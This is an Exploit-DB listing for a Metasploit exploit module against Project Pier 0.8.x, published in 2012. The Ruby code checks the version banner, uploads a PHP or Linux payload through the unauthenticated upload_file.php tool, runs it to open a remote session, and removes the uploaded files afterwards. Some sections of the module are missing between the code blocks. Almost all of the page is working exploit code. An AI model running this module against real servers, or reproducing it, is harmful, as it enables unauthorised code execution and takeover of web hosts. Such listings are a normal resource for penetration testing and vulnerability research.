Project Pier - Arbitrary File Upload (Metasploit)

EDB-ID:

21929

CVE:

EDB Verified: ✓

Author:

METASPLOIT

Type:

WEBAPPS

Exploit: / {}

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Project Pier Arbitrary File Upload
Vulnerability",
            'Description'    => %q{
                    This module exploits a vulnerability found in Project
Pier.  The application's
                uploading tool does not require any authentication, which
```



```
'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-
Upload.html']
                ],
            'Platform'       => ['linux', 'php'],
            'Targets'        =>
                [
                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP,
'Platform' => 'php' }  ],
                    [ 'Linux x86'            , { 'Arch' => ARCH_X86,
'Platform' => 'linux'} ]
                ],
            'Arch'           => ARCH_CMD,
            'Privileged'     => false,
            'DisclosureDate' => "Oct 8 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The path to the web
application', '/pp088/'])
            ], self.class)
    end


    def check
```

```
        target_uri.path << '/' if target_uri.path[-1,1] != '/'
        base = File.dirname("#{target_uri.path}.")

        res = send_request_cgi(
            {
                'method' => 'GET',
                'uri'    => "#{base}/index.php",
                'vars_get' =>
                    {
                        'c' => 'access',
                        'a' => 'login'
                    }
            })

        if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and
res.headers['Server'] =~ /^Apache/
            return Exploit::CheckCode::Vulnerable
        else
            return Exploit::CheckCode::Safe
        end
    end

    def get_write_exec_payload(fname, data)
        p = Rex::Text.encode_base64(generate_payload_exe)
        php = %Q|
```



```
            print_debug("#{@peer} - Removing: #{f}")
            begin
                if cli.type == 'meterpreter'
                    cli.fs.file.rm(f)
                else
                    cli.shell_command_token("rm #{f}")
                end
                print_debug("File removed: #{f}")
            rescue ::Exception => e
                print_error("#{@peer} - Unable to remove #{f}: #
{e.message}")
            end
        end
    end

    def upload_php(base, fname, php_payload, folder_name)
        data = Rex::MIME::Message.new
        data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
        data.add_part(php_payload, nil, nil, "form-data; name=file;
filename=\"#{fname}\"")
        data.add_part('', nil, nil, 'form-data; name="part"')
        data.add_part('Submit', nil, nil, 'form-data; name="submit"')

        post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
```

```
        res = send_request_cgi({
            'method'   => 'POST',
            'uri'      => "#{base}/tools/upload_file.php",
            'ctype'    => "multipart/form-data; boundary=#{data.bound}",
            'data'     => post_data
        })

        return res.body if res
    end

    def exec_php(base, body)
        # Body example:
        # 0 ./upload/test/test.txt-0001
        uri = body.scan(/(\/.+$)/).flatten[0]
        @clean_files << File.basename(uri)

        res = send_request_raw({'uri' => "#{base}/tools#{uri}"})

        if res and res.code == 404
            print_error("#{@peer} - The upload most likely failed")
            return
        end

        handler
```



```
        end

        print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s}
bytes)...")
        res = upload_php(base, php_fname, p, folder_name)

        if not res
            print_error("#{@peer} - No response from server")
            return
        end

        print_status("#{@peer} - Executing '#{php_fname}'...")
        exec_php(base, res)
    end
end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link

Databases

Links

Sites

Solutions